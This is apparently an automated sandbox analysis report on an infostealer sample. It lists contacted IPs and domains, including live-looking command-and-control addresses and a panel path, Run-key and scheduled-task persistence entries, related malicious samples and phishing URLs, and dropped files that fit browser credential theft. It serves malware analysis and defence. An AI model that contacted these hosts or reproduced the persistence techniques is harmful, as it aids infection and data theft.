https://screenshots.firefox.com/	firefox.exe, 0000002D.00000003.3226671698.000001FABA000000.00000004.00000800.00020000.00000000.sdmp	false		high
https://occupy-blushi.sbs/E	684030933f.exe, 0000001C.00000003.3091830576.0000000005589000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3092176518.0000000005589000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://gpuweb.github.io/gpuweb/	firefox.exe, 0000002D.00000002.3691338549.000001FAC2890000.00000004.00000800.00020000.00000000.sdmp	false		high
https://occupy-blushi.sbs/D	684030933f.exe, 0000001C.00000003.3196273513.0000000000A13000.00000004.00000020.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000002.3293092608.0000000000A13000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://firefox-source-docs.mozilla.org/remote/Security.html	firefox.exe, 0000002D.00000002.3414733058.000001FAB6A46000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#	skotes.exe, 00000016.00000002.3301829204.00000000011EA000.00000004.00000020.00020000.00000000.sdmp, vg9qcBa.exe, 00000017.00000002.2796253870.000000000338E000.00000004.00000020.00020000.00000000.sdmp, vg9qcBa.exe, 00000019.00000003.2795376178.0000000003250000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report	firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	false		high
https://occupy-blushi.sbs/Z	684030933f.exe, 0000001C.00000003.3120796388.000000000559E000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3120994390.000000000559E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://vk.com/	firefox.exe, 0000002D.00000002.3414733058.000001FAB6AE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3675240759.000001FABCD61000.00000004.00000800.00020000.00000000.sdmp	false		high
https://outlook.live.com/default.aspx?rru=compose&to=%sMust	firefox.exe, 0000002D.00000002.3414733058.000001FAB6A7E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.olx.pl/	firefox.exe, 0000002D.00000002.3691338549.000001FAC28A8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://occupy-blushi.sbs/R	684030933f.exe, 0000001C.00000003.3196273513.0000000000A13000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
23.33.40.139	unknown	United States	20940	AKAMAI-ASN1EU	false
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
13.107.246.40	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.33.40.135	unknown	United States	20940	AKAMAI-ASN1EU	false
18.165.220.106	sb.scorecardresearch.com	United States	3	MIT-GATEWAYSUS	false
108.139.47.50	unknown	United States	16509	AMAZON-02US	false
162.159.61.3	unknown	United States	13335	CLOUDFLARENETUS	false
204.79.197.239	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
20.110.205.119	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.216.132.72	unknown	United States	7016	CCCH-3US	false
13.89.179.13	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.44.133.31	unknown	United States	20940	AKAMAI-ASN1EU	false
13.107.21.239	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.21.7.169	occupy-blushi.sbs	United States	13335	CLOUDFLARENETUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
142.250.181.78	youtube.com	United States	15169	GOOGLEUS	false
13.107.246.63	s-part-0035.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.96.180.189	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.44.201.39	unknown	United States	20940	AKAMAI-ASN1EU	false
142.250.181.110	plus.l.google.com	United States	15169	GOOGLEUS	false
142.250.181.68	www.google.com	United States	15169	GOOGLEUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.181.65	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
172.64.41.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
104.21.10.6	push-hook.cyou	United States	13335	CLOUDFLARENETUS	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
34.107.221.82	prod.detectportal.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
23.44.129.36	unknown	United States	20940	AKAMAI-ASN1EU	false
34.116.198.130	home.fvtekk5pn.top	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.6
192.168.2.5
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1562948
Start date and time:	2024-11-26 10:08:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 14s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	50
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@116/327@58/36
EGA Information:	Successful, ratio: 40%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 199.232.210.172, 172.217.19.238, 74.125.205.84, 216.58.208.227, 34.104.35.123, 172.217.21.35, 2.20.68.210, 172.217.17.74, 172.217.19.202, 142.250.181.106, 142.250.181.10, 172.217.19.234, 142.250.181.138, 172.217.17.42, 172.217.19.170, 216.58.208.234, 142.250.181.74, 172.217.21.42, 13.107.42.16, 204.79.197.203, 13.107.22.239, 131.253.33.239, 13.107.6.158, 172.165.61.93, 23.32.239.18, 23.32.239.56, 172.165.69.228, 2.18.40.162, 2.18.40.159, 2.18.40.158, 2.18.40.161, 2.18.40.133, 2.18.40.154, 2.18.40.163, 2.18.40.156, 2.18.40.157, 184.24.77.9, 184.24.77.36, 184.24.77.8, 184.24.77.32, 23.207.210.153, 23.207.210.136, 23.207.210.137, 23.207.210.148, 23.207.210.152, 23.207.210.154, 23.207.210.144, 23.207.210.156, 23.206.197.26, 23.206.197.10, 23.206.197.17, 23.206.197.34, 23.206.197.42, 23.206.197.19, 23.206.197.11, 23.206.197.50, 13.74.129.1, 13.107.21.237, 204.79.197.237, 192.229.221.95, 93.184.221.240, 23.206.197.58, 23.206.197.24, 142.250.64.67, 142.250.80.67, 142.250.65.
Excluded domains from analysis (whitelisted): prod-agic-us-3.uksouth.cloudapp.azure.com, cdp-f-ssl-tlu-net.trafficmanager.net, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, data-edge.smartscreen.microsoft.com, img-s-msn-com.akamaized.net, clientservices.googleapis.com, edgeassetservice.afd.azureedge.net, aus5.mozilla.org, star.sf.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, prod-agic-us-2.uksouth.cloudapp.azure.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, wildcardtlu-ssl.azureedge.net, edgedl.me.gvt1.com, c.bing.com, edgeassetserv
Execution Graph export aborted for target DocumentsJEHJKJEBGH.exe, PID 8648 because it is empty
Execution Graph export aborted for target file.exe, PID 3440 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 8920 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
04:09:24	API Interceptor	203x Sleep call for process: file.exe modified
04:10:02	API Interceptor	906x Sleep call for process: skotes.exe modified
04:10:15	API Interceptor	2x Sleep call for process: vg9qcBa.exe modified
04:10:34	API Interceptor	12x Sleep call for process: 684030933f.exe modified
04:10:55	API Interceptor	25x Sleep call for process: c2fcbf308b.exe modified
10:09:49	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
10:10:39	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 684030933f.exe C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe
10:10:47	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 27ee25f0d2.exe C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe
10:10:55	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run ddf08f7f32.exe C:\Users\user\AppData\Local\Temp\1009254001\ddf08f7f32.exe
10:11:04	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 684030933f.exe C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe
10:11:14	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 27ee25f0d2.exe C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe
10:11:27	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run ddf08f7f32.exe C:\Users\user\AppData\Local\Temp\1009254001\ddf08f7f32.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
23.33.40.139	https://www.google.md/url?url=https://demeropkdfzdbi&uxzs=zemleptc&icmeyuc=zn0&ywprgz=icmeyuc&uxzs=zemleptc&ywprgz=icmeyuc&fzdbi=demeropkd&znzn=ywprgzuxzs&q=amp%2Fdecentafrica.com%2Flok%2F1160851136%2FZHVzdGluLmZpY2NvQHZvc3Nsb2guY29t	Get hash	malicious	Unknown	Browse
185.215.113.43	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, DarkTortilla, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
13.107.246.40	Payment Transfer Receipt.shtml	Get hash	malicious	HTMLPhisher	Browse	www.aib.gov.uk/
	NEW ORDER.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zs
	PO_OCF 408.xls	Get hash	malicious	Unknown	Browse	2s.gg/42Q
	06836722_218 Aluplast.docx.doc	Get hash	malicious	Unknown	Browse	2s.gg/3zk
	Quotation.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zM

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
prod.balrog.prod.cloudops.mozgcp.net	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	35.244.181.201
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	uniswap-sniper-bot-with-gui Setup 1.0.0.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
	uniswap-sniper-bot-with-gui Setup 1.0.0.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
home.fvtekk5pn.top	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.116.198.130
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	34.116.198.130
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.116.198.130
	file.exe	Get hash	malicious	Cryptbot	Browse	34.116.198.130
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.116.198.130
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, DarkTortilla, LummaC Stealer, Stealc, Vidar	Browse	34.116.198.130
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.116.198.130
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	34.116.198.130
	file.exe	Get hash	malicious	Cryptbot	Browse	34.116.198.130
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.116.198.130

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AKAMAI-ASN1EU	C6dAUcOA6M.exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	172.234.222.138
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.209.72.21
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	23.200.0.34
	kkEzK284oT.exe	Get hash	malicious	HTMLPhisher	Browse	23.53.11.244
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.44.201.12
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.44.201.13
	FW Expiration Pending Support Care HIPAA Acknowledgement Form 2024.eml	Get hash	malicious	Unknown	Browse	23.54.81.216
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	104.117.182.56
	https://docs.google.com/drawings/d/1rnJTD83ySW2kuilnF4J1ffAp0B5BM7BM0Nvi8F8BbSI/preview?pli=1HeatherMitchell-andrew.tokar@overlakehospital.org	Get hash	malicious	HTMLPhisher	Browse	2.22.245.208
	fbot.m68k.elf	Get hash	malicious	Mirai, Moobot	Browse	172.235.101.208
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	FHG538JGH835DG86S.doc	Get hash	malicious	Unknown	Browse	52.113.195.132
	Quotation.js	Get hash	malicious	STRRAT	Browse	20.233.83.145
	Quotation.js	Get hash	malicious	STRRAT	Browse	20.233.83.145
	9oKqST-uPDy7iigkXM-C5J2.eml	Get hash	malicious	Unknown	Browse	52.113.195.132
	jlPBMMQbXC.exe	Get hash	malicious	DBatLoader, Remcos	Browse	13.107.136.10
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	204.79.197.203
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	23.101.168.44
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.75.60.91

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://taxjusticeafrica.net/resources/blog/lopsided-global-financial-system-leaves-many-african-states-debt-distress	Get hash	malicious	Unknown	Browse	52.149.20.212 13.107.246.63 20.190.147.4 69.192.160.109
	file.exe	Get hash	malicious	LummaC Stealer	Browse	52.149.20.212 13.107.246.63 20.190.147.4 69.192.160.109
	https://amnibargmbh.teleporthq.app/	Get hash	malicious	Unknown	Browse	52.149.20.212 13.107.246.63 20.190.147.4 69.192.160.109
	Fatura931Pendente956.pdf761.msi	Get hash	malicious	Unknown	Browse	52.149.20.212 13.107.246.63 20.190.147.4 69.192.160.109
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	52.149.20.212 13.107.246.63 20.190.147.4 69.192.160.109
	Finish_Agreement_DocuSign.pdf	Get hash	malicious	Unknown	Browse	52.149.20.212 13.107.246.63 20.190.147.4 69.192.160.109
	http://www.btc1yby.blogspot.rs/	Get hash	malicious	GRQ Scam	Browse	52.149.20.212 13.107.246.63 20.190.147.4 69.192.160.109
	http://awumnf.com	Get hash	malicious	Unknown	Browse	52.149.20.212 13.107.246.63 20.190.147.4 69.192.160.109
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	52.149.20.212 13.107.246.63 20.190.147.4 69.192.160.109
	file.exe	Get hash	malicious	LummaC Stealer	Browse	52.149.20.212 13.107.246.63 20.190.147.4 69.192.160.109
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.10.6 20.189.173.22 104.21.7.169
	kURjHPmRCx.exe	Get hash	malicious	DBatLoader, Remcos	Browse	104.21.10.6 20.189.173.22 104.21.7.169
	geHxbPNEMi.vbs	Get hash	malicious	Unknown	Browse	104.21.10.6 20.189.173.22 104.21.7.169
	Documentazione_Doganale_richieste_di_copia.cmd	Get hash	malicious	DBatLoader	Browse	104.21.10.6 20.189.173.22 104.21.7.169
	78326473_PDF.cmd	Get hash	malicious	DBatLoader	Browse	104.21.10.6 20.189.173.22 104.21.7.169
	Doc261124.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.10.6 20.189.173.22 104.21.7.169
	FHG538JGH835DG86S.doc	Get hash	malicious	Unknown	Browse	104.21.10.6 20.189.173.22 104.21.7.169
	RemittanceAdvice35282-17.xll.dll	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.10.6 20.189.173.22 104.21.7.169
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.10.6 20.189.173.22 104.21.7.169
	file.exe	Get hash	malicious	Unknown	Browse	104.21.10.6 20.189.173.22 104.21.7.169

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	IeccNv7PP6.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, DarkTortilla, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	IeccNv7PP6.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, DarkTortilla, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AAEBAFBGIDHCBFHIECFC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9504
Entropy (8bit):	5.512408163813622
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXKxkHWNBw8D4Sl:PeegJUaJHEw90
MD5:	1191AEB8EAFD5B2D5C29DF9B62C45278
SHA1:	584A8B78810AEE6008839EF3F1AC21FD5435B990
SHA-256:	0BF10710C381F5FCF42F9006D252E6CAFD2F18840865804EA93DAA06658F409A
SHA-512:	86FF4292BF8B6433703E4E650B6A4BF12BC203EF4BBBB2BC0EEEA8A3E6CC1967ABF486EEDCE80704D1023C15487CC34B6B319421D73E033D950DBB1724ABADD5
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\ECAEGHIJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FHCBGIIJKEBFCBGDBAEBGCFIEH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GIEHIDHJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2648888124709614
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkMeSAELyKOMq+8yC8F/YfU5m+OlTLVumU:Bq+n0Je9ELyKOMq+8y9/Owf
MD5:	CD8F5DB16DEBF11620D3D7F48B2F57B5
SHA1:	8D82947C4905F32F18BC0A07B4DBEFE670698AAF
SHA-256:	79B4DC1D60373C4051AD86BFAA96E80848E01193E582F266F2A39BBD80B0B3BA
SHA-512:	E528504251B04EC21E70D98CA24943E2C14D5C5053123F01958DD835E7234A282A366E1281F6E22F2DE1C0E10A4725B80B6F65BA19DC36EC3B69AC4243BC1494
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IIJEBFCFIJJJEBGDBAKE

Download File

Process:	C:\Users\user\Desktop\file.exe
